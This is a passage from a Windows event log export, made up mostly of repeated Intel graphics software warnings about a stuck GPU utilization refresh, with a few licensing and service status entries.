09:12:23.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:24.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:25.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:26.965\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:12:26Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:12:26.972\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:27.307\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:28.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:28.856\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:29.189\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:29.640\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:12:29.748\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:30.082\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:31.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.084\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.309\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:32.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:33.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:33.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:35.097\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:36.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.009\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:38.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.310\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:39.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.070\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.282\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:40.287\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.172\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.175\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:42.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:43.388\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:43.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:44.389\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:44.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.273\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:45.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.393\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.617\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:46.841\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.286\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.510\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:47.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:48.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:48.852\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.740\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:49.962\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:50.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:50.853\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:51.411\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:51.965\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.188\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.521\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:52.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.529\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:53.974\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.197\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.757\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:54.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.429\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:55.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.325\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:56.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:57.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:58.988\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:59.322\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.002\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:01.897\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:02.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:02.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:03.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:04.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.008\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.668\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:05.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:06.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:06.333\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.445\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:07.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.224\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:08.887\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:09.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:09.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.102\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:10.885\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.555\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:11.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.000\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 